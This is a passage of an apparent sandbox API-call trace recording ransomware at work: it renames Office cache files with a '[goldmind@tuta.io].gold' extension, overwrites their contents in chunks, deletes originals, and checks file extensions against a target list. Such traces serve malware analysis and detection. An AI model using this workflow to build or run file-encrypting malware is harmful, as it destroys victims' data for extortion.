lpFileSize=0x2daff1c*=3124224) returned 1 [0041.223] CloseHandle (hObject=0x1e8) returned 1 [0041.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0041.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.223] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0041.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.223] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0041.223] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0041.223] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.257] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0041.257] ReadFile (in: hFile=0x1e8, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.285] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.285] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0041.285] ReadFile (in: hFile=0x1e8, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.796] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0041.796] WriteFile (in: hFile=0x1e8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0041.809] SetEndOfFile (hFile=0x1e8) returned 1 [0041.809] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0041.812] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0041.812] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.813] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0041.813] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.040] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0042.040] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.042] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0042.044] CloseHandle (hObject=0x1e8) returned 1 [0042.044] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.044] lstrlenW (lpString=".doc") returned 4 [0042.044] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.044] lstrlenW (lpString=".docx") returned 5 [0042.044] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.044] lstrlenW (lpString=".pdf") returned 4 [0042.044] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.044] lstrlenW (lpString=".xls") returned 4 [0042.044] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.044] lstrlenW (lpString=".xlsx") returned 5 [0042.044] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.044] lstrlenW (lpString=".ppt") returned 4 [0042.044] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.044] lstrlenW (lpString=".zip") returned 4 [0042.044] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.044] lstrlenW (lpString=".rar") returned 4 [0042.045] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.045] lstrlenW (lpString=".bz2") returned 4 [0042.045] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.045] lstrlenW (lpString=".7z") returned 3 [0042.045] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString=".dbf") returned 4 [0042.045] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString=".1cd") returned 4 [0042.045] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString=".jpg") returned 4 [0042.045] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString=".doc") returned 4 [0042.045] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.045] lstrlenW (lpString=".docx") returned 5 [0042.045] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.045] lstrlenW (lpString=".pdf") returned 4 [0042.045] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.045] lstrlenW (lpString=".xls") returned 4 [0042.045] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.045] lstrlenW (lpString=".xlsx") returned 5 [0042.045] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.045] lstrlenW (lpString=".ppt") returned 4 [0042.045] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString=".zip") returned 4 [0042.045] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.045] lstrlenW (lpString=".rar") returned 4 [0042.045] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.045] lstrlenW (lpString=".bz2") returned 4 [0042.045] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.045] lstrlenW (lpString=".7z") returned 3 [0042.045] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString=".dbf") returned 4 [0042.045] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString=".1cd") returned 4 [0042.045] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.045] lstrlenW (lpString=".jpg") returned 4 [0042.045] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.045] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0042.045] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0042.045] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.312] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2511872) returned 1 [0042.312] CloseHandle (hObject=0x178) returned 1 [0042.312] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0042.312] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.312] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0042.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.313] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0042.313] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0042.313] ReadFile (in: hFile=0x178, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.346] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0042.346] ReadFile (in: hFile=0x178, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.354] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.354] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0042.354] ReadFile (in: hFile=0x178, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.369] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0042.369] WriteFile (in: hFile=0x178, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0042.383] SetEndOfFile (hFile=0x178) returned 1 [0042.383] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0042.386] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0042.386] WriteFile (in: hFile=0x178, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.387] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0042.387] WriteFile (in: hFile=0x178, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.391] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0042.391] WriteFile (in: hFile=0x178, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.632] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0042.753] CloseHandle (hObject=0x178) returned 1 [0042.753] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.753] lstrlenW (lpString=".doc") returned 4 [0042.753] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.753] lstrlenW (lpString=".docx") returned 5 [0042.753] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.754] lstrlenW (lpString=".pdf") returned 4 [0042.754] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString=".xls") returned 4 [0042.754] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString=".xlsx") returned 5 [0042.754] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.754] lstrlenW (lpString=".ppt") returned 4 [0042.754] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.754] lstrlenW (lpString=".zip") returned 4 [0042.754] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString=".rar") returned 4 [0042.754] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString=".bz2") returned 4 [0042.754] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.754] lstrlenW (lpString=".7z") returned 3 [0042.754] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.754] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.754] lstrlenW (lpString=".dbf") returned 4 [0042.754] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.754] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.754] lstrlenW (lpString=".1cd") returned 4 [0042.754] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.754] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.754] lstrlenW (lpString=".jpg") returned 4 [0042.754] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.754] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.754] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.754] lstrlenW (lpString=".doc") returned 4 [0042.754] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.754] lstrlenW (lpString=".docx") returned 5 [0042.754] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.754] lstrlenW (lpString=".pdf") returned 4 [0042.754] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString=".xls") returned 4 [0042.754] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString=".xlsx") returned 5 [0042.754] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.754] lstrlenW (lpString=".ppt") returned 4 [0042.754] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.754] lstrlenW (lpString=".zip") returned 4 [0042.754] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.754] lstrlenW (lpString=".rar") returned 4 [0042.754] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.755] lstrlenW (lpString=".bz2") returned 4 [0042.755] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.755] lstrlenW (lpString=".7z") returned 3 [0042.755] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.755] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.755] lstrlenW (lpString=".dbf") returned 4 [0042.755] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.755] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.755] lstrlenW (lpString=".1cd") returned 4 [0042.755] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.755] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0042.755] lstrlenW (lpString=".jpg") returned 4 [0042.755] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.755] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0042.755] lstrlenW (lpString="msvcr90.dll") returned 11 [0042.755] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.768] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=655872) returned 1 [0042.768] CloseHandle (hObject=0x200) returned 1 [0042.768] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0042.768] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.768] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.768] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0042.768] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0042.768] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.768] GetLastError () returned 0x0 [0042.768] ReadFile (in: hFile=0x200, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xa0200, lpOverlapped=0x0) returned 1 [0042.781] WriteFile (in: hFile=0x178, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0042.789] ReadFile (in: hFile=0x200, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0042.789] WriteFile (in: hFile=0x178, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.789] SetEndOfFile (hFile=0x178) returned 1 [0042.790] CloseHandle (hObject=0x178) returned 1 [0042.790] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0042.790] SetEndOfFile (hFile=0x200) returned 1 [0042.794] CloseHandle (hObject=0x200) returned 1 [0042.794] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.794] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0042.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.794] lstrlenW (lpString=".doc") returned 4 [0042.794] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.794] lstrlenW (lpString=".docx") returned 5 [0042.794] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0042.794] lstrlenW (lpString=".pdf") returned 4 [0042.795] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString=".xls") returned 4 [0042.795] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString=".xlsx") returned 5 [0042.795] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0042.795] lstrlenW (lpString=".ppt") returned 4 [0042.795] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0042.795] lstrlenW 